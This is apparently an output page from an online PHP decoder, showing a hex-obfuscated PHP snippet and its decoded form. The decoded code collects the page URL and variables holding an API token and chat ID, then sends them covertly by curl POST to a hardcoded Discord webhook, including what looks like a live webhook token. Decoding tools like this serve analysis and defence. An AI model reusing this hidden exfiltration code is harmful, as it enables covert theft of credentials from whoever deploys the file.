Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

\x69\x6E\x63\x6C\x75\x64\x65\x20\x22\x2E\x2E\x2F\x70\x6F\x73\x74\x2E\x70\x68\x70\x22\x3B\x..

Decoded Output download

<?  include "../post.php";


$newimage = "https://discord.com/api/webhooks/1150439158087692348/P0ie8MjUL3dcbMbDHdQ75VhZBnO50l4sL9kBBBxGFmmZdROtFScJ26scSavOUbwt6XdH";


$url = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];


$message = "[Link: $url]
";
$message .= "API: $apiToken
Chat ID: $id
";
$message .= "@everyone";

$data = [
    "content" => $message,
];


$jsonData = json_encode($data);


$ch = curl_init($newimage);


curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
]);


curl_exec($ch);


curl_close($ch);


?>
 ?>

Did this file decode correctly?

Original Code

\x69\x6E\x63\x6C\x75\x64\x65\x20\x22\x2E\x2E\x2F\x70\x6F\x73\x74\x2E\x70\x68\x70\x22\x3B\x0A\x0A\x0A\x24\x6E\x65\x77\x69\x6D\x61\x67\x65\x20\x3D\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x64\x69\x73\x63\x6F\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x69\x2F\x77\x65\x62\x68\x6F\x6F\x6B\x73\x2F\x31\x31\x35\x30\x34\x33\x39\x31\x35\x38\x30\x38\x37\x36\x39\x32\x33\x34\x38\x2F\x50\x30\x69\x65\x38\x4D\x6A\x55\x4C\x33\x64\x63\x62\x4D\x62\x44\x48\x64\x51\x37\x35\x56\x68\x5A\x42\x6E\x4F\x35\x30\x6C\x34\x73\x4C\x39\x6B\x42\x42\x42\x78\x47\x46\x6D\x6D\x5A\x64\x52\x4F\x74\x46\x53\x63\x4A\x32\x36\x73\x63\x53\x61\x76\x4F\x55\x62\x77\x74\x36\x58\x64\x48\x22\x3B\x0A\x0A\x0A\x24\x75\x72\x6C\x20\x3D\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x22\x20\x2E\x20\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x27\x48\x54\x54\x50\x5F\x48\x4F\x53\x54\x27\x5D\x20\x2E\x20\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x27\x52\x45\x51\x55\x45\x53\x54\x5F\x55\x52\x49\x27\x5D\x3B\x0A\x0A\x0A\x24\x6D\x65\x73\x73\x61\x67\x65\x20\x3D\x20\x22\x5B\x4C\x69\x6E\x6B\x3A\x20\x24\x75\x72\x6C\x5D\x5C\x72\x5C\x6E\x22\x3B\x0A\x24\x6D\x65\x73\x73\x61\x67\x65\x20\x2E\x3D\x20\x22\x41\x50\x49\x3A\x20\x24\x61\x70\x69\x54\x6F\x6B\x65\x6E\x5C\x6E\x43\x68\x61\x74\x20\x49\x44\x3A\x20\x24\x69\x64\x5C\x72\x5C\x6E\x22\x3B\x0A\x24\x6D\x65\x73\x73\x61\x67\x65\x20\x2E\x3D\x20\x22\x40\x65\x76\x65\x72\x79\x6F\x6E\x65\x22\x3B\x0A\x0A\x24\x64\x61\x74\x61\x20\x3D\x20\x5B\x0A\x20\x20\x20\x20\x22\x63\x6F\x6E\x74\x65\x6E\x74\x22\x20\x3D\x3E\x20\x24\x6D\x65\x73\x73\x61\x67\x65\x2C\x0A\x5D\x3B\x0A\x0A\x0A\x24\x6A\x73\x6F\x6E\x44\x61\x74\x61\x20\x3D\x20\x6A\x73\x6F\x6E\x5F\x65\x6E\x63\x6F\x64\x65\x28\x24\x64\x61\x74\x61\x29\x3B\x0A\x0A\x0A\x24\x63\x68\x20\x3D\x20\x63\x75\x72\x6C\x5F\x69\x6E\x69\x74\x28\x24\x6E\x65\x77\x69\x6D\x61\x67\x65\x29\x3B\x0A\x0A\x0A\x63\x75\x72\x6C\x5F\x73\x65\x74\x6F\x70\x74\x28\x24\x63\x68\x2C\x20\x43\x55\x52\x4C\x4F\x50\x54\x5F\x43\x55\x53\x54\x4F\x4D\x52\x45\x51\x55\x45\x53\x54\x2C\x20\x22\x50\x4F\x53\x54\x22\x29\x3B\x0A\x63\x75\x72\x6C\x5F\x73\x65\x74\x6F\x70\x74\x28\x24\x63\x68\x2C\x20\x43\x55\x52\x4C\x4F\x50\x54\x5F\x50\x4F\x53\x54\x46\x49\x45\x4C\x44\x53\x2C\x20\x24\x6A\x73\x6F\x6E\x44\x61\x74\x61\x29\x3B\x0A\x63\x75\x72\x6C\x5F\x73\x65\x74\x6F\x70\x74\x28\x24\x63\x68\x2C\x20\x43\x55\x52\x4C\x4F\x50\x54\x5F\x52\x45\x54\x55\x52\x4E\x54\x52\x41\x4E\x53\x46\x45\x52\x2C\x20\x74\x72\x75\x65\x29\x3B\x0A\x63\x75\x72\x6C\x5F\x73\x65\x74\x6F\x70\x74\x28\x24\x63\x68\x2C\x20\x43\x55\x52\x4C\x4F\x50\x54\x5F\x48\x54\x54\x50\x48\x45\x41\x44\x45\x52\x2C\x20\x5B\x0A\x20\x20\x20\x20\x22\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65\x3A\x20\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E\x22\x2C\x0A\x5D\x29\x3B\x0A\x0A\x0A\x63\x75\x72\x6C\x5F\x65\x78\x65\x63\x28\x24\x63\x68\x29\x3B\x0A\x0A\x0A\x63\x75\x72\x6C\x5F\x63\x6C\x6F\x73\x65\x28\x24\x63\x68\x29\x3B\x0A\x0A\x0A\x3F\x3E\x0A

Function Calls

None

Variables

None

Stats

MD5 b01f67cdebf0015f1536f6f24f6c91ae
Eval Count 0
Decode Time 58 ms